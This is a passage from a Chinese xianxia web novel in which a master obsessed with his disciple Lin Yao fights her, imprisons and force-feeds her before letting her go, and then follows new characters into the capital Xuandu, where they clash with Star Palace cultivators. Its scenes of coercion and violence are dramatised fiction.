他伸出修长的手指,轻轻挑起她的下巴,迫使她与他对视:“明明都已这般模样,还说自己道心未乱?”眼神中满是不容置疑的笃定,像是在看一只困兽,“莫要再挣扎了,乖乖承认,你已动了情,这无情道,你修不了了。”语气中带着一丝不容抗拒的强硬。
林瑶打开他的手,提起适才掉落的剑。
尹星灯眼中闪过一丝诧异,随即又是浓浓的不悦:“哼,还执迷不悟!”
见她拔出仰山雪,尹星灯身形一闪,瞬间来到她身后,双手环住那段纤腰,不由呼吸一滞,用力将人桎梏在怀中:“你觉得,此刻你还能拿剑伤我?”下巴抵在她的肩头,呼吸炽热地喷洒在她脖颈处:“别白费力气了,接受你已动情的事实吧。”
林瑶一个肘击打开他,旋剑回身,冷眸中染上的情念皆被杀意覆盖。
尹星灯闷哼一声,后退几步,脸上却仍挂着那抹病态的笑:“好啊,不愧是我的乖徒儿……”
他双手负于身后,周身泛起如梦似幻的绮光,正是“天星阵”施展之兆。
“瑶儿觉得,你杀得了我吗?”
身形如电,瞬间欺身而上,抬手欲夺她手中长剑,脸上尽是疯狂与决绝。
林瑶回身旋剑,闪退他身后,剑光如电,扫至他头顶削飞了束发羽冠,一头银白长发瞬间散落,尹星灯却不怒反笑,笑声癫狂肆意:“哈哈哈哈哈哈……好剑法!”猛地转身,眼神中满是兴奋与病态的痴迷,“但这还不够!”
单手快速结印,口中念念有词,只见四周飘落的樱花纷纷化作利刃,如疾风骤雨般朝她射去:“瑶儿,让为师看看,你还有多少本事!”
他的表情狰狞可怖,是走火入魔的前兆。
林瑶在樱花剑雨中躲得狼狈不堪,努力挥剑挡开铺天盖地射向自己的绮丽飞镖,但大部分还是躲不开,身子踉跄着被逼退,一袭白衣逐渐染上朵朵红梅,咬牙硬撑着,手中剑芒大盛,杀意完全盖过了情欲,就是要痛,越痛越好!
看着她白衣染血,尹星灯眼中闪过一丝心疼,却又很快被偏执取代,内心一个声音叫嚣着想要征服她!
“不自量力。”
嘴里不停地念叨着:“乖乖放弃无情道,投入为师怀抱不好吗?”目光紧紧锁住她,像是要将她看穿,见后者仍在顽强抵抗,眉头紧皱,脸上闪过一丝狠厉:“既然你执迷不悟,那就别怪为师狠心!”加大了阵法攻势,周围的空气都被搅得嗡嗡作响。
白衣到最后染成血衣,手中的血顺着剑刃滴落,尹星灯紧盯着剑雨中心的林瑶,她脸颊上都带了几道伤痕,还要加码的手不由一顿,没想到林瑶趁他分神找准空隙杀出剑阵,在他眼皮子底下跑了!硬生生在琅嬛古城杀出了一条血路。
眼睁睁看着她浑身是血却如疯魔般杀出重围,尹星灯又惊又怒:“你!”
脸上的肌肉因愤怒而微微抽搐,双眼通红,仿佛要滴出血来:“很好,跑?你跑得出我的手掌心吗?”
他身形一闪,立刻追了上去。一路上,弟子们见掌门跟疯了一样御风破空,向着西城门方向追去,都吓得纷纷避让。
林瑶身受重伤根本跑不远,衣衫滴滴答答往下流血,吓得路上行人抱头鼠窜,她提着剑慌不择路地逃亡,尹星灯在后面紧追不舍,眼中满是癫狂与执着:“别跑了,乖乖停下!”
他的声音在林瑶身后回荡,带着不容抗拒的威严:“你身负重伤,能跑到哪里去?”
见她仍不停尹星灯加快了速度,眨眼间便快要追上:“停下,跟为师回去,为师不会再逼你。”语气中竟带上了一丝哀求,但眼神里的疯狂却丝毫未减。
林瑶知道自己走不了了,回身拿剑指向他,眸带恨意,斩钉截铁:“绝无可能。”
尹星灯脚步一顿,眼中闪过一丝痛苦,像是被她眸中的恨意狠狠刺痛:“为何……”脸上的癫狂稍稍褪去,换上了一副受伤至极的神情,缓缓朝她走近,全然不顾剑尖正对着自己心口:“为师对你一片真心,你为何如此恨我?”声音微微颤抖,带着几委屈与不甘,伸出手想要触碰她,却又在半空中停住。
林瑶似乎也被尹星灯的神色刺痛,脑海中是往昔种种,心脏处传来尖锐的疼痛,仿佛被一只野兽撕咬啃食着……真没想到,有一天师慈徒孝的两人居然要刀兵相见,为的居然是这般荒唐的理由?
许他不仁,不许我不义,也罢,也罢!我索性死在他面前也就得了!
想到这里林瑶反提剑柄,利刃架在了自己肩上,一脸决绝:“让我走!”
尹星灯瞬间瞪大双眼,脸上满是惊恐,脚步猛地顿住,双手下意识抬起,做出阻止的动作:“别!”声音尖锐得变了调,脸上的血色瞬间褪尽,惨白如纸,更多的却是对她的愤恨,“你若敢死,为师不介意将你制成傀儡,日日夜夜伴我左右!”
林瑶听了这话,握剑的手一抖,脖颈上出现一条血线。
尹星灯目眦欲裂,态度软了下来:“好……好!为师让你走,把剑放下!”他心急如焚,额头上布满了汗珠,生怕她一个冲动造成不可挽回的后果。
林瑶嘴唇苍白,轻轻念了三个字,不多时远处有哒哒的马蹄声响,一匹如雪似玉的白马四蹄生风跑至林瑶面前,后者艰难地爬上马背,身上鲜血染红了白马的毛发,轻轻拍它脑袋:“驾!”
眼睁睁看着她决然离去,尹星灯满脸的难以置信与绝望,双手紧紧握拳,手背上青筋暴起。
“不……”声音低沉,像是从牙缝中挤出来一般,眼中满是不甘。
见白马撒开蹄子飞奔而去,尹星灯身形一闪,欲追上去,可刚迈出一步,又生生停住,脸上痛苦之色愈发浓烈:“不……别离开……”他无力地喃喃自语,如同至关重要的东西被人从身体里抽离。
白马带着林瑶飞奔,踏过浅溪,她的意识越来越模糊,死死抱着白马的脖子,最后昏迷过去滚下马背落入水底,身上鲜血染红了溪水,白马围着她咴咴嘶鸣,焦急地转来转去。
尹星
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灯哪里肯轻易放弃,一路追寻,循着白马的嘶鸣声找了过来。看到林瑶昏迷在水底,半条溪水染得赤红,他的心猛地一揪,脸色瞬间煞白,不顾一切地飞身而下。
将她紧紧抱在怀里时如获新生,心脏仿佛重新跳动了起来,更是坚定了一个信念……
“你不能死……绝对不能!”他双眼通红,神情慌乱至极,抱着她破水而出,踉跄着上岸,将她轻轻放在地上,双手颤抖着试探鼻息,早已微弱至极,随后狠狠扇了自己一耳光。
“为师不该这么逼你……”他愧疚欲死,声音带着哭腔。
尹星灯心急如焚,顾不上许多,一低头,薄唇覆上林瑶苍白的唇,小心翼翼地将灵力渡入她口中。他的手轻轻抚着她冰冷的脸颊,动作带着从未有过的温柔与怜惜,可身体却止不住地颤抖。
“迫不得已,你别怪我……”
“坚持住……”额头的汗珠滚落,神色惶急,一边渡气,一边轻声呢喃,字字句句带着从未有过的无助与哀求,只盼着她能快点醒来。
见她缓缓睁眼,眸光带水,尹星灯先是一滞,紧接着狂喜涌上心头,眼眶瞬间又红了,双手紧紧将她搂入怀中,像是生怕她再消失一般,带着哭腔唤她:“你终于醒了……”
他将脸埋在她颈间,身体微微颤抖,贪婪地吸入她的气息:“吓死为师了……再也别离开我,别再做这种傻事……”他语无伦次地念叨着,满是劫后余生的庆幸与后怕。
“让我走……”
尹星灯听见这话,冷水泼头般身子一僵,缓缓松开林瑶,双眼直直地盯着她,眼里满是受伤与不解:“为什么……”声音低哑,透着深深的哀怨,“你都已这般虚弱,还要走?”眉头紧紧皱起,眸中的痛苦几乎要流淌出来。
“你就这般不愿与为师在一起?”嘴唇微微颤抖,尹星灯双手下意识地攥紧,像是在极力克制着什么。
“不愿!”她声冷如冰,提气喊了这么一嗓子,呛得咳嗽连连,通红的眼眸倔强地盯着他。
尹星灯像是被重重一击,身子晃了晃,脸色苍白到几乎透明。双眸中的痛苦如潮水般翻涌,他死死地盯着她,像是要将她看透:“为何如此绝情……”颤抖的声音中夹杂着一丝哽咽,肩膀颓然一垮,“我究竟是哪里做得不好?你说,为师改……”他伸出手,想要触碰她,却又在半途停住,一代国师竟是如此卑微,这与他平日的狂傲判若两人。
“你哪里都好,可我就是不愿。”林瑶撇过了脸不去看他,她素来心软,禁不住别人苦苦哀求,可就像宫玄烛说的,泥人也有几分脾气,再怎么温婉良善也不该拿自己的前途做慈善。
尹星灯听闻此言,双手无力地垂下。脸上的神情复杂极了,有痛苦、不甘、还有深深的无奈。他缓缓站起身,身形竟有些踉跄,仰头看向天空,眼眶泛红,仿佛在问林瑶又仿佛在喃喃自语:“这到底是为什么……”
就在林瑶以为他要放弃了,刚松了口气就见尹星灯突然又低下头,死死瞪着她,天光炫目,她看不清他的面容,只觉得那两点寒眸如冰火两重天,执拗,如同风暴般摧毁一切:
“瑶儿,你为何要一而再再而三地逼我……不愿么?不欢喜么?由得了你?我偏要勉强,与你纠缠不清!与你日久生情!”
随着这句话重重砸下,他周身气息也变得阴冷起来。
24. 国师突发恶疾
林瑶被他带回去后锁进了地宫,左右两侧的青铜狮鹫嘴里吐出黑色锁链,两只铁环锁着她的双手,纤细的脖颈、细软的腰肢也同样被锁链禁锢着,如同金鸟落樊笼。
尹星灯的眼神冰冷且决绝,看着再也无力挣扎的徒儿,脸上没有一丝怜悯,只有满满的轻松,素手在广袖下渐渐收紧,真好,现在每时每刻、随时随地都可以看见了,而不用借着授课指导的由头。
他满意地看着自己的俘虏,宣布道:“从今日起,你就乖乖待在这里。别再想着逃离,这铁链是用上好的玄铁打造,还施加了多重禁制,你挣不开的。”
空旷的地宫里只有他走来走去的脚步声,林瑶不置一词,冷眼看着他演独角戏。
尹星灯显然不在乎她心里怎么想自己,只要人在他手里就行,轻轻吸了口气,缓缓走到她面前,蹲下身伸手轻轻抚摸她柔滑细腻的脸庞,眸中露出一丝震颤。
颤抖着收回手,别过脸艰难地换过一口气,耳尖涌上一丝绯红。
“我早该这样了……瑶儿,你要明白,只有我能陪着你,也只有我能给你想要的一切。”他说着,脸上浮现一抹苍白无力的笑意,眸中却仿佛有火焰在熊熊燃烧,等什么时候这心火烧毁了自己也该伤到林瑶了。
玄铁压制着林瑶的灵力,她形同凡人,却冷着脸不吃不喝,绝食抗议。
尹星灯端着精心准备的膳食走进地宫,看到她虚弱的模样,眉头瞬间皱起,眼神中闪过一丝心疼与无奈。
“何苦这般折磨自己?”将食盒放在一旁,走到她身边半蹲下来,伸手轻轻抬起她尖瘦的下巴,迫使她看向自己。
“吃点东西,别饿坏了身子。”语气中带着一丝哀求,可林瑶却偏过头,不愿看他,这一举动让他眼中闪过一丝恼怒,“为师那些手段,难道你还想试试!”声音陡然提高,带着一丝威胁的意味。
林瑶听闻这话嘴角勾起一丝轻蔑的笑意,仿佛在说“随便你吧,有能耐杀了我。”
尹星灯气得猛站起身,双手握拳,来回踱步,脸上满是阴鸷:“你这是在逼我动粗吗!”突然停下脚步,恶狠狠地盯着她,随后又深吸一口气,强行压下怒火,重新半跪到她身旁。
“瑶儿……”声音放柔,带着讨好的意味,拿起一块糕点递到她嘴边,“这是你平日最爱吃的蝴蝶酥,尝尝……”眼神中满是期待,可林瑶依旧不为所动,紧闭着双唇。
“很好!”尹星灯眼中闪过一丝狠厉,掐着她的下颌将糕点硬往她嘴里塞。
林瑶被他折腾得鬓发散乱,眼眸通红,铁链一会儿放松一会儿绷直,叮叮当当的声音与师徒二人错乱的喘息声交织成一片,最后,林瑶用舌尖将嘴里的食物抵了出去。
看着糕点落地,尹星灯脸色瞬间变得铁青,额头上青筋暴起。他死死地盯着眼前的人,眼里满是疯狂与愤怒,双手猛地掐住她的肩膀,牙齿咬得咯咯作响,胸膛剧烈起伏着:“为何要如此抗拒我?我到底哪里对不起你!”脸上的肌肉因愤怒而扭曲,眼眶通红,如同受伤的野兽般咆哮着,“你就这么想激怒我?好,如你所愿!”说完,猛地站起身,一脚踢翻了食盒,饭菜洒落一地。
林瑶跪坐在一地狼藉中神色漠然,仿佛一切都与自己无关。
看着林瑶紧闭双眼,一副油盐不进的模样,尹星灯怒极反笑,笑声癫狂又悲凉。
“好……好啊……”他一边笑,一边在她身前踱步,深深吸了口气,“你以为闭着眼睛,就能躲开这一切?就能躲开我?”
他突然停下,俯下身,脸几乎贴到她脸上,在她耳边含情脉脉道:“你逃不掉的,永远都逃不掉……”说罢,直起身子,转身大踏步离开,走到门口时又猛地回头,眼中满是决绝,“你会屈服的,迟早有一天……”随后,大门被砰一声关上,声音在空旷的地宫中回荡。
不知过了多久,地宫大门再次被打开,尹星灯缓缓走了进来,手里端着一碗冒着热气的汤药。他的神色看起来有些疲惫了,半跪在她面前,轻声道:“这是疗伤的药,喝了吧。”
语气不再像之前那般强硬,竟带上了几分小心翼翼。见林瑶依旧紧闭双眼当作没听见,他轻轻叹了口气:“别再抗拒了,你本就重伤,再不吃不喝,神仙也救不了你……”伸手轻轻拨开她额前的碎发,顿生无力之感。
林瑶低垂着头,脸上苍白得没有一丝血色,拿一条残命跟他耗,似乎打算这样不吃不喝地熬到油尽灯枯。
尹星灯想到这里,眼眶瞬间红了,双眸中倒映的不再是林瑶,而是一条小鱼。
那条小鱼是潮汐宫一个小女孩送给林瑶的,林瑶很喜欢,可是深海的鱼离开了故土根本活不下去,为免徒儿伤心尹星灯使尽了浑身解数,可是那条鱼就是不吃不喝,哀怨的目光透过琉璃缸凝望着外面的世界,眼睛里透出死灰般的绝望……
他一把将汤药碗重重放在地上,溅出的药汁洒在他的衣摆上,双手紧紧抓住她的肩膀,使劲摇晃着:“你看看我!看看我啊!”
力道之大几乎要把林瑶晃散架,声音带着哭腔,几近崩溃:“为什么要一心求死?为师到底要怎么做,你才肯好好活下去?”
他恨不得将自己的心掏出来给她看,或许她会知道他究竟有多痛苦,有多煎熬,他折磨了自己不知多久,还是克制不住汹涌的爱意,起先以为她只是害羞,于是他可以什么都不要,可以放下身段、抛去尊严地追在她身后,以为她迟早会有所回应,毕竟他是她师父,毕竟他很了解她的,毕竟……她曾经说过喜欢他的啊!
但她只用两个字就剖开了他的胸膛,冻结了他心底燃烧着的毁天灭地的情焰。
不愿!
“难道非得让我死在你面前,你才甘心吗?”说到最后,声音已经沙哑得不成样子。
“让我走……”她一说话,干裂到粘连在一起的上下嘴唇被撕开,鲜血漫延过唇纹,凝固在皮肤上,如同化不开的宿怨。
尹星灯身子一僵,眼中闪过无尽的挣扎,双手不自觉地松开。他缓缓站起身,背过身去,肩膀微微颤抖。
“走……你就这么想走……”尹星灯的声音低沉得几乎听不见,仿佛用尽了全身力气。
可我……怎么舍得让你走?你若走了,让我怎么活?
指甲深深嵌入血肉里,却抵不上心里万分之一的疼,明明拼了命想对一个人好,却又伤到了她,也伤了自己。
他觉得自己的心是一湖水,里头仅仅游着一条叫做林瑶的小鱼,可这鱼儿却无时无刻不想着跳出湖面。
过了许久,他缓缓转过身,看向林瑶的眼神里,有决绝,更有痛苦。
一步步走到林瑶身边,颤抖着手解开她身上的铁链。每解一下,他的心就像被狠狠揪了一下。
“滚……”
他整个人仿佛苍老了几十岁,无力地瘫坐在地上,眼神空洞地望着前方。
林瑶摇摇晃晃站了起来,要真正离开星辰宫了,闹到这般地步,算是彻底撕破了脸皮,以后或许再无相见之日,可她居然一句话也不愿对他多说。
应该是恶心透了他吧。
尹星灯涩然一笑,眼睁睁看着她头也不回地走出地宫,眼神中满是不舍与绝望。嘴唇被咬得发白,渗出丝丝血迹。双手紧紧攥着衣角,指节泛白,“瑶儿……”声音微弱得如同蚊蚋,可林瑶却丝毫没有停留的意思。
他想要起身追上去,身体却仿佛僵在了原地怎么也动不了,不知何时,脸上满是泪痕,失魂落魄地喃喃自语,忽然觉得全身都很疼,却又不知道病根在哪里,茫然抬手按在了胸口,那片湖水大抵是在迅速地枯竭。
林瑶一刻也不敢多耽误,服下几枚灵丹恢复体力,强行运功逃离玄都。
尹星灯在原地呆坐许久,缓过神后肠子都悔青了,他怎么能放了林瑶!
发疯似地追出地宫,却早已不见她的踪影。他双眼通红,如同一头失去理智的凶兽,疯狂地四处寻找。飞身跃上半空,用星辰之力将整个琅嬛翻了个底朝天,却一无所获。他咬牙切齿,周身气息紊乱,对着长空愤怒地咆哮:“你到底躲到哪去了!”心里又急又气,想到林瑶可能就此彻底离开自己,整个人都快崩溃了。猛地一拳砸在身旁的影壁墙上,石壁瞬间化为齑粉。
“我赌错了……你怎能这般无情……”
缓了缓,嘴角重新勾起笃定的笑意,本来柔情似水的眸子里只剩下无尽的疯狂与偏执。
“我的瑶儿,你是不是忘了一件很重要的事啊?你会乖乖回来的……重新回到我身边……”
楚纤茉再次苏醒时,发觉自己身处一个陌生的地方,头顶是月白色纱幔,侧目望去,精致的卧室被一排水晶珠帘分隔为内外两间,透过珠帘空隙可以看到,西墙边是女子的梳妆台,菱花镜擦拭得一尘不染,槛窗半开,几簇枝叶横斜,丹纱吐蕊……青铜兽面炉上空,香烟冉冉升起,满室弥漫着淡淡的茉莉香。
楚纤茉蓦然惊觉,这地方对自己来说并不陌生,她以前是来过的。
隔壁传来轻轻的脚步声,一个身着绿衣,梳着双丫髻的女孩在卧室门口探头一看,惊喜地笑道:“楚姑娘醒了!”
不待楚纤茉说什么,那丫头已经欢欢喜喜朝门外跑了,脚步声渐渐远去,不一会儿就听见门口传来一个熟悉的声音。
“纤茉!”
一袭碧衣的少女闪入房间,
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下一刻已经亲昵地拉住了楚纤茉的手,白里透粉的脸颊上洋溢着温暖如春的笑意,眸中却不乏隐忧。
“纤茉,你不要再回去了,好不好?以后我养着你啊!有我苏潋影一口汤喝绝对少不了你一口肉吃,哪怕是要饭我都不会让你抛头露面的!”
听到后半句楚纤茉扑哧一笑,任由苏潋影半抱着自己,微笑道:“堂堂碧梧山庄的二小姐,何时沦落到要饭的境地了?”
苏潋影轻轻叹口气,语气中却不知为何带着一股得意:“别提了,都是我阿姐,非让我去参加什么梵净山的入门考核,据说那个门派的考核难得离谱,我想拒绝都不行。”
楚纤茉微微睁大眼眸,对苏潋影口中的阿姐很是敬畏:“你姐姐回来了?不是说去霜都采集矿石了吗?路上顺利吗?”
苏潋影满脸自豪,笑容愈发灿烂,提起姐姐眼睛里都放光:“当然没问题了,我阿姐是什么人,那些小妖小魔哪里是她的对手。”
楚纤茉看着对方神采飞扬的模样既为她高兴,心里也不免愁云惨淡,偏偏心大如苏潋影,察觉不到楚纤茉细微的情绪变化,还在滔滔不绝说自己的姐姐。
“阿姐将来可是要继承碧梧山庄的,爹和娘亲都说了,阿姐比我强百倍,他们都怀疑我不是亲生的,呵,我们明明长得差不多好不好,都怪他们把天赋都给了阿姐,不过也好,这样我就可以天天溜出去玩了,阿姐还要留在山庄管理大小事务,真是塞翁失马焉知非福……”
苏潋影说了半天忽然顿了一下,歪头看着楚纤茉,似乎想到了什么,眸中灵光乍现:“纤茉!你跟我一起去梵净山好不好!这样我们就可以一起拜师学艺了,将来一起成仙,多棒啊!我做梦都想御剑飞天!”
求仙问道?
不知仙人能否解开我心中的迷惘……
楚纤茉这样想着,黯然握紧了拳头,心中渐渐燃起一团微弱的火苗,那或许是求生的欲望。
也好,即使是一个虚无缥缈的美好梦境,也足以给她继续前行的动力。
“苏苏,你什么时候出发啊?”
苏潋影开心地差点跳起来:“你答应了?太好了,我这就给阿姐回信!”
楚纤茉一愣,半天才开口:“说了半天,原来你姐姐没回来吗?”
苏潋影感觉莫名其妙:“没有啊,她前段日子才给我写信,要回来怎么也半个月后了。”
山庄里枫林连绵,红叶如血,片片落叶漂浮在蜿蜒曲折的池水中,与池底锦鲤相得益彰,瀑布飞涌,溪水潺潺,人在画中游,身边时不时路过身着绿衣的男男女女,自然都是碧梧山庄的弟子。
只见苏潋影越走越偏,最后干脆徒手攀上一棵参天枫树,唬了树下的楚纤茉一跳,急忙问道:“苏苏,你这是做什么?”
这一问急得树上的苏潋影连忙朝她挤眉弄眼,压低声音道:“别嚷别嚷,把那些人引来今天就走不了了。”
楚纤茉略一思索也就明白了,碧梧山庄门庭广阔却子嗣凋零,大小姐常年在外,结交各大玄门中人,在其中谋取利益。苏潋影作为幼女自然被家主和夫人疼成了眼珠子,平时都紧紧看住了,哪里肯让她独自出门,但是这二小姐并不是省油的灯,虽然脑残但理想远大,励志要成为姐姐的贤内助,故此时常怀着要闯荡江湖历练一番的豪情壮志。
苏潋影翻墙已经翻得很熟练了,很快就顺着枫树横生的枝干跳到了墙头,纵身一跃吓得楚纤茉心跳骤停,只听墙外传来轻轻的落地声,楚纤茉等了好久不见守后门的绿衣弟子有所动作,这才假装从容淡定、大大方方从后面走了出来,碧梧山庄的弟子自然不会阻拦她这个客人,反而是恭恭敬敬地问了好。
苏潋影在墙角等楚纤茉过来,拉着她的手往林间小路走去,脸上满是逃脱樊笼的喜悦之情,叽叽喳喳如同一只鹦鹉:“纤茉,我带你去个好地方,你知道雾山不?”
楚纤茉真诚地摇摇头:“那里雾气很大嘛?”
苏潋影恨铁不成钢:“有没有雾我不知道,但是有很多妖怪,那是妖族的领地。”
“那你还去?”楚纤茉一时接受不了这么大的信息量,头脑有些眩晕。
苏潋影却还是一副跃跃欲试的表情:“放心吧,我已经提前做好部署了,而且不止我们两个人嘛,怕什么?”
“还有谁?”
“小白!”
苏潋影朝着林中喊了一声,半空中血色枫叶哗啦啦地飘落,一个白衣白发的少年随着翩跹的枫叶一起缓缓落在了地上。
少年的长相极其清俊柔美,生了一双宝石似的淡绿色瞳孔,一身白衣仿佛仙人临凡,楚纤茉却因为那双异于常人的眼睛而微微后缩。
25. 慧眼识蛇
“苏苏!”
少年几乎跳起来,眨眼间已经扑到了苏潋影怀里,带着一点鼻音不满地哼道:“你为什么这么久才来找我呀?”
苏潋影好不容易才把身上缠着的八爪鱼弄下来,轻轻拍了拍对方的肩头:“上次你不是说在雾山见到我阿姐了嘛,我打算去跟她汇合,给她一个大大的惊喜!你帮我们带路吧!”
楚纤茉听着她这大胆的想法,急得唇干口燥:“苏苏,我们还是在碧梧山庄附近走走吧,那可是妖族领地啊,很危险的,你可以在家等你姐姐啊。”
苏潋影不赞同地摇摇头:“纤茉,你别打退堂鼓嘛,我们很快就要去梵净山了,到时候这种历练只会多不会少,现在不见见世面,后面的考试我们岂不是很吃亏嘛?”
楚纤茉双手绞着衣袖:“可是梵净山的考试不会有生命危险啊,我们两个人就这样去雾山,万一——”
苏潋影拍拍旁边白衣少年的肩膀:“这不还有帮手嘛,正式介绍一下,白洛溪,千年大妖,我的好朋友。”
又揽住楚纤茉的肩膀向白洛溪介绍道:“楚纤茉,我最好最好最好的朋友!”
楚纤茉被千年大妖四个字冲击得回不过神来,眼前冒金星,而白洛溪却有些脸色难看,两只手牢牢圈住苏潋影的胳膊,苏潋影年纪尚小,个头也不高,七尺男儿挂在她这么个小豆芽身上有点滑稽。
白洛溪却浑然不觉,目露哀怨地瞅着苏潋影,颇为委屈:“苏苏,为什么我不是你最好最好最好的朋友呢?你忘了吗,我们可是从小一起玩到大的……”
楚纤茉在旁边略显尴尬,问道:“你们是怎么认识的啊?”
白洛溪看着楚纤茉的眼神有些不快,也存了炫耀的心思,从头到尾把两人相遇的来龙去脉说了一遍,语气颇为洋洋得意道:“当年我还是一条小白蛇,在山下的稻田里睡觉,被一个愚蠢的农夫捡了起来,他居然拿我当绳子用来捆稻子!我被他抻得老长老长了,脖子和尾巴被系到了一起,就在我快窒息的时候,是美丽善良且慧眼识蛇的苏苏救了我!”
楚纤茉心道:这故事我好像在哪儿听过……
苏潋影不好意思地摸摸鼻子,低声道:“其实我当时也以为你是条白到发光的绳子,打算跟农夫换到手,回去绑秋千架来着……”
白洛溪蹲在地上,将脸埋在膝盖上自闭了好一会儿,苏潋影站在旁边双手叉腰,哄了老半天,恨不得收回刚才那句话:“喂?你还要我说多少遍啊?”
白洛溪声音闷闷地道:“我不叫喂,我是蛇……”
苏潋影顺着他的话:“那个蛇,你到底走不走?不然我把你丢这了,三——”
白洛溪蹭一下站了起来,力道没把握好,脑袋撞到了树杈,疼得龇牙咧嘴。
苏潋影踮起脚伸长了手臂替他取下了头发上的树叶,不由咋舌:“长这么高干嘛,吃什么长大的,是朋友给我推荐一下啊!”
白洛溪欲哭无泪,郁闷地揉着自己的脑袋,满脸的愤恨:“都怪那个愚蠢的农夫,把我抻长了……害我现在还要弓着腰跟苏苏说话,一点都不如小时候亲密无间。”
楚纤茉有些诧异地看着眼前两人:“千年大妖?你小时候怎么可能遇到苏苏?她才十四岁啊!”
白洛溪翻了个白眼,满是不屑:“怎么不能了,苏苏是在机缘巧合之下遇到我的,这就是缘分!”
他说到这里很是兴奋,转头又去瞅苏潋影,脸上满是期待:“苏苏,我听我姥姥说了,滴水之恩应当涌泉相报,当初我太姑奶奶被捕蛇的抓了,是一个小牧童救了她,后来她找到了小牧童以身相许过上了幸福美满的生活,苏苏,你希望我怎么报答你呀?”
苏潋影摸着下巴:“这个故事我听过,后来你太姑奶奶喝高了现了原形,把你太姑爷爷给吓厥过去了。”
白洛溪摆摆手:“过程都不重要,重要的是他们真心相爱啊!海枯石烂、至死不渝,苏苏想不想听后续?”
“上次的鲁智深三打白骨精你还没讲完呢,听多了我容易混淆,先把那个讲完好不好,宋江到底什么时候把诸葛亮请回来?”
楚纤茉听得发晕:“不是,你听的是哪个版本的三打白骨精?我怎么闻所未闻?”
三人行,气氛颇为古怪,苏潋影却丝毫感觉不到,仍旧兴致勃勃。
一路向东南方向行进,穿过玄都就是雾山地界,妖族的领地。
按道理说,帝京不应该建在妖魔横行之地的附近,但因为,一来此乃祖宗基业,不能轻易舍弃,二来,玄都有星辰宫坐镇,妖族倒也不敢肆意妄为,这种微妙的平衡维持了大概四五百年,表面上仍是风平浪静。
楚纤茉、苏潋影都是没有来过玄都的,白洛溪这个土生土长在雾山的妖怪自然也没有,才一进城就被一片车水马龙、富丽堂皇的景象迷花了眼。
玄都作为帝京,自然是极尽奢华,房屋鳞次栉比、雕梁画栋,街道四通八达,来来往往的行人皆是穿绸裹缎、穿金带玉,男子手拿折扇步伐稳健,女子衣袂飘飘步步生莲,红楼粉墙中时时飘出轻柔的丝竹管弦之声,一派纸醉金迷之态。
三人正各自出神,冷不防前面街道一阵喧哗,打破了本来的宁静美好,一行身着紫衣、身后负着琉璃灯的人快速掠过,沿途不停地对路人进行盘查,此时与一个白衣女子起了冲突。
“星辰宫寻人,把面纱摘下来!”
姑娘气得跺脚:“你们还讲不讲理啦!都说了我这几天花粉过敏吹不得风,万一生病了你们付医药费啊!”
为首一人打量她许久,点点头:“身高、衣着都差不多,哼,来人,帮她把面纱摘下来。”
姑娘吓得连连后退,但已经被两个修士反剪了双臂控制住了,姑娘急得大喊:“你们干什么,来人呐!救命啊!”
苏潋影已经握紧了拳头,咬牙切齿:“简直是岂有此理!”
电光火石之间,一条长鞭腾空而起,鞭尾啪一下抽在那修士伸向白衣女子的手,那人惨叫一声缩回手,目露惊慌左瞧右看,很快锁定了一个身影。
那丫头一袭碧衣,双手叉腰,手里还提着长鞭,因为愤怒瞪着一双圆溜溜的杏眼,桃花包似的脸颊微微鼓起,长得瓷娃娃一般精致漂亮,但戾气却不小,一手叉腰一手拿鞭子指着他:“看什么看,你还不服是吧,再敢仗势欺人当心你的狗头!”
楚纤茉已经吓傻了,生怕苏潋影吃亏,急忙扯着她的衣袖,低声道:“差不多可以了吧,这可是京都,我们人生地不熟的难免吃亏……”
但白洛溪却在旁边煽风点火,抱臂冷哼道:“苏苏别怕,天塌了我给你兜着。”
星辰宫修士在玄都一向万人景仰,何曾受过如此羞辱,当即已经有几名弟子祭出了各自法器,为首青年修士面露凶光,缓缓取下背后魂灯:“哪里来的死丫头,敢管星辰宫的事,今天就让本仙师教教你规矩!”
眨眼间,原本暗淡无光的琉璃魂灯爆发出一片眩目的紫色光芒,似乎跟他左肩绵延至左胸口的银色星纹相互呼应着,点点星光连接起来是西方白虎七宿,只消看一眼便让人心神激荡,倾刻之间,街上原本熙熙攘攘的行人消失地无影无踪,太阳也隐藏在了乌云后面,街道上黑压压多了一群双目无神的怪人,与其说是人,不如说是怨灵,它们个个垂着眼,惨白的脸颊埋在藏污纳垢的乱发里,随着那修士一挥手中魂灯,怨灵们个个为之一振,眼睛里冒
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出诡异的红光,齐刷刷一扭头看向了苏潋影,下一刻如同咆哮的野兽一般朝她飞扑过来。
白洛溪眼神一凛,广袖一挥将苏潋影护在了身后,下一刻白影一闪如同一阵风般冲了出去,所到之处怨灵的哀嚎之声不绝于耳,青年修士惊愕之间居然忘了应对之策,下一刻,一只白皙修长的手掐住了他的脖子,那看似文弱的白衣少年将他整个人提了起来,细长的手指似乎下一秒就能插入他的血肉里,少年眸中绿芒乍现,微微一笑露出了两颗过分尖细的虎牙,回头对那碧衣女郎笑眯眯道:“苏苏,这家伙你想怎么处置,直接扭断他的脖子还是……”
青年修士能屈能伸,见势不妙立刻求饶:“少侠饶命,小的有眼不识泰山冒犯了几位,还请几位大人不记小人过,小的以后一定洗心革面重新做人!”
白洛溪将他扔在地上,拍了拍手里并不存在的灰尘,慢条斯理道:“放了你可以,自废修为吧。”
青年修士见他神色认真,立刻磕头如捣蒜,连连作揖:“少侠!女侠!小人不是故意仗势欺人的,这都是我们宫主的命令啊,小人都是奉命行事!”
“你们宫主又是什么人?”苏潋影问道。
青年修士连忙道:“我们宫主是当朝尹国师!”
他本指望搬出尹星灯的名头震慑一下这帮不知天高地厚的愣头青,谁知那碧衣女郎一听柳眉倒竖,冷哼一声:“怪不得你们这么无法无天,感情你们主子也不是块好饼,上梁不正下梁歪!”
急得青年修士冷汗直流:“女侠,这其中是有缘故的,因为我们星辰宫有个女弟子叛逃,国师下令全城搜查,并非女侠想的那样。”
“是吗?”苏潋影将信将疑地收了鞭子。
青年修士连忙点头:“千真万确,女侠若不信,小人可以带路,您大可以前往星辰宫亲自调查。”
白洛溪走近,低声对苏潋影耳语:“苏苏,强龙不压地头蛇,我们初来乍到不可贸然前去,你若真想查清此事我们可以暗中进行,没必要暴露自己。”
青年修士顿了半天见这三人要走,眼珠一转连忙道:“几位少侠,可否留下姓名?”
白洛溪回头冷笑道:“区区江湖散修罢了。”
青年修士见三人远去,从地上爬起来暗暗咬牙,恨声道:“待我回去禀报国师,你们就死定了!”
他摸出了一块留影石,嘴角勾起一丝阴险的笑意:“还好随身带了这个……”
